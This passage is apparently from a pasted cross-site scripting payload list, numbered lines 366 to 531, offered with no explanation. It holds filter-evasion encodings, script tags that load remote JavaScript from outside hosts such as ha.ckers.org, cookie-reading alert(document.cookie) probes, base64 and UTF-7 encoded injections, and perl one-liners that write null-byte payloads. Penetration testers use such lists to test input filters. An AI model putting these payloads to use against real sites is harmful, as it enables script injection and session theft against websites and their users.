  366. &lt;A HREF=\"javascript&#058;document&#46;location='http&#58;//www&#46;google&#46;com/'\"&gt;XSS&lt;/A&gt;
  367. &lt;A HREF=\"http&#58;//www&#46;gohttp&#58;//www&#46;google&#46;com/ogle&#46;com/\"&gt;XSS&lt;/A&gt;
  368. &lt;
  369. %3C
  370. &lt
  371. &lt;
  372. &LT
  373. &LT;
  374. &#60
  375. &#060
  376. &#0060
  377. &#00060
  378. &#000060
  379. &#0000060
  380. &lt;
  381. &#x3c
  382. &#x03c
  383. &#x003c
  384. &#x0003c
  385. &#x00003c
  386. &#x000003c
  387. &#x3c;
  388. &#x03c;
  389. &#x003c;
  390. &#x0003c;
  391. &#x00003c;
  392. &#x000003c;
  393. &#X3c
  394. &#X03c
  395. &#X003c
  396. &#X0003c
  397. &#X00003c
  398. &#X000003c
  399. &#X3c;
  400. &#X03c;
  401. &#X003c;
  402. &#X0003c;
  403. &#X00003c;
  404. &#X000003c;
  405. &#x3C
  406. &#x03C
  407. &#x003C
  408. &#x0003C
  409. &#x00003C
  410. &#x000003C
  411. &#x3C;
  412. &#x03C;
  413. &#x003C;
  414. &#x0003C;
  415. &#x00003C;
  416. &#x000003C;
  417. &#X3C
  418. &#X03C
  419. &#X003C
  420. &#X0003C
  421. &#X00003C
  422. &#X000003C
  423. &#X3C;
  424. &#X03C;
  425. &#X003C;
  426. &#X0003C;
  427. &#X00003C;
  428. &#X000003C;
  429. \x3c
  430. \x3C
  431. \u003c
  432. \u003C
  433. &lt;iframe src=http&#58;//ha&#46;ckers&#46;org/scriptlet&#46;html&gt;
  434. &lt;IMG SRC=\"javascript&#058;alert('XSS')\"
  435. &lt;SCRIPT SRC=//ha&#46;ckers&#46;org/&#46;js&gt;
  436. &lt;SCRIPT SRC=http&#58;//ha&#46;ckers&#46;org/xss&#46;js?&lt;B&gt;
  437. &lt;&lt;SCRIPT&gt;alert(\"XSS\");//&lt;&lt;/SCRIPT&gt;
  438. &lt;SCRIPT/SRC=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;js\"&gt;&lt;/SCRIPT&gt;
  439. &lt;BODY onload!#$%&()*~+-_&#46;,&#58;;?@&#91;/|\&#93;^`=alert(\"XSS\")&gt;
  440. &lt;SCRIPT/XSS SRC=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;js\"&gt;&lt;/SCRIPT&gt;
  441. &lt;IMG SRC=\" javascript&#058;alert('XSS');\"&gt;
  442. perl -e 'print \"&lt;SCR\0IPT&gt;alert(\\"XSS\\")&lt;/SCR\0IPT&gt;\";' &gt; out
  443. perl -e 'print \"&lt;IMG SRC=java\0script&#058;alert(\\"XSS\\")&gt;\";' &gt; out
  444. &lt;IMG SRC=\"jav&#x0D;ascript&#058;alert('XSS');\"&gt;
  445. &lt;IMG SRC=\"jav&#x0A;ascript&#058;alert('XSS');\"&gt;
  446. &lt;IMG SRC=\"jav&#x09;ascript&#058;alert('XSS');\"&gt;
  447. &lt;IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29&gt;
  448. &lt;IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041&gt;
  449. &lt;IMG SRC=javascript&#058;alert('XSS')&gt;
  450. &lt;IMG SRC=javascript&#058;alert(String&#46;fromCharCode(88,83,83))&gt;
  451. &lt;IMG \"\"\"&gt;&lt;SCRIPT&gt;alert(\"XSS\")&lt;/SCRIPT&gt;\"&gt;
  452. &lt;IMG SRC=`javascript&#058;alert(\"RSnake says, 'XSS'\")`&gt;
  453. &lt;IMG SRC=javascript&#058;alert(&quot;XSS&quot;)&gt;
  454. &lt;IMG SRC=JaVaScRiPt&#058;alert('XSS')&gt;
  455. &lt;IMG SRC=javascript&#058;alert('XSS')&gt;
  456. &lt;IMG SRC=\"javascript&#058;alert('XSS');\"&gt;
  457. &lt;SCRIPT SRC=http&#58;//ha&#46;ckers&#46;org/xss&#46;js&gt;&lt;/SCRIPT&gt;
  458. '';!--\"&lt;XSS&gt;=&{()}
  459. ';alert(String&#46;fromCharCode(88,83,83))//\';alert(String&#46;fromCharCode(88,83,83))//\";alert(String&#46;fromCharCode(88,83,83))//\\";alert(String&#46;fromCharCode(88,83,83))//--&gt;&lt;/SCRIPT&gt;\"&gt;'&gt;&lt;SCRIPT&gt;alert(String&#46;fromCharCode(88,83,83))&lt;/SCRIPT&gt;
  460. ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
  461. '';!--"<XSS>=&{()}
  462. <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
  463. <IMG SRC="javascript:alert('XSS');">
  464. <IMG SRC=javascript:alert('XSS')>
  465. <IMG SRC=javascrscriptipt:alert('XSS')>
  466. <IMG SRC=JaVaScRiPt:alert('XSS')>
  467. <IMG """><SCRIPT>alert("XSS")</SCRIPT>">
  468. <IMG SRC=" &#14; javascript:alert('XSS');">
  469. <SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>
  470. <SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT>
  471. <<SCRIPT>alert("XSS");//<</SCRIPT>
  472. <SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
  473. \";alert('XSS');//
  474. </TITLE><SCRIPT>alert("XSS");</SCRIPT>
  475. �script�alert(�XSS�)�/script�
  476. <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
  477. <IFRAME SRC="javascript:alert('XSS');"></IFRAME>
  478. <FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>
  479. <TABLE BACKGROUND="javascript:alert('XSS')">
  480. <TABLE><TD BACKGROUND="javascript:alert('XSS')">
  481. <DIV STYLE="background-image: url(javascript:alert('XSS'))">
  482. <DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">
  483. <DIV STYLE="width: expression(alert('XSS'));">
  484. <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
  485. <IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
  486. <XSS STYLE="xss:expression(alert('XSS'))">
  487. exp/*<A STYLE='no\xss:noxss("*//*");xss:&#101;x&#x2F;*XSS*//*/*/pression(alert("XSS"))'>
  488. <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>
  489. a="get";b="URL(ja\"";c="vascr";d="ipt:ale";e="rt('XSS');\")";eval(a+b+c+d+e);
  490. <SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT>
  491. <HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="XSS&lt;SCRIPT DEFER&gt;alert(&quot;XSS&quot;)&lt;/SCRIPT&gt;"></BODY></HTML>
  492. <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT>
  493. <form id="test" /><button form="test" formaction="javascript:alert(123)">TESTHTML5FORMACTION
  494. <form><button formaction="javascript:alert(123)">crosssitespt
  495. <frameset onload=alert(123)>
  496. <!--<img src="--><img src=x onerror=alert(123)//">
  497. <style><img src="</style><img src=x onerror=alert(123)//">
  498. <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">
  499. <embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">
  500. <embed src="javascript:alert(1)">
  501. <? foo="><script>alert(1)</script>">
  502. <! foo="><script>alert(1)</script>">
  503. </ foo="><script>alert(1)</script>">
  504. <script>({0:#0=alert/#0#/#0#(123)})</script>
  505. <script>ReferenceError.prototype.__defineGetter__('name', function(){alert(123)}),x</script>
  506. <script>Object.__noSuchMethod__ = Function,[{}][0].constructor._('alert(1)')()</script>
  507. <script src="#">{alert(1)}</script>;1
  508. <script>crypto.generateCRMFRequest('CN=0',0,0,null,'alert(1)',384,null,'rsa-dual-use')</script>
  509. <svg xmlns="#"><script>alert(1)</script></svg>
  510. <svg onload="javascript:alert(123)" xmlns="#"></svg>
  511. <iframe xmlns="#" src="javascript:alert(1)"></iframe>
  512. +ADw-script+AD4-alert(document.location)+ADw-/script+AD4-
  513. %2BADw-script+AD4-alert(document.location)%2BADw-/script%2BAD4-
  514. +ACIAPgA8-script+AD4-alert(document.location)+ADw-/script+AD4APAAi-
  515. %2BACIAPgA8-script%2BAD4-alert%28document.location%29%2BADw-%2Fscript%2BAD4APAAi-
  516. %253cscript%253ealert(document.cookie)%253c/script%253e
  517. �><s�%2b�cript>alert(document.cookie)</script>
  518. �><ScRiPt>alert(document.cookie)</script>
  519. �><<script>alert(document.cookie);//<</script>
  520. foo<script>alert(document.cookie)</script>
  521. <scr<script>ipt>alert(document.cookie)</scr</script>ipt>
  522. %22/%3E%3CBODY%20onload=�document.write(%22%3Cs%22%2b%22cript%20src=http://my.box.com/xss.js%3E%3C/script%3E%22)�%3E
  523. �; alert(document.cookie); var foo=�
  524. foo\�; alert(document.cookie);//�;
  525. </script><script >alert(document.cookie)</script>
  526. <img src=asdf onerror=alert(document.cookie)>
  527. <BODY ONLOAD=alert(�XSS�)>
  528. <script>alert(1)</script>
  529. "><script>alert(String.fromCharCode(66, 108, 65, 99, 75, 73, 99, 101))</script>
  530. <video src=1 onerror=alert(1)>
  531. <audio src=1 onerror=alert(1)>
Add Comment
Please, Sign In to add comment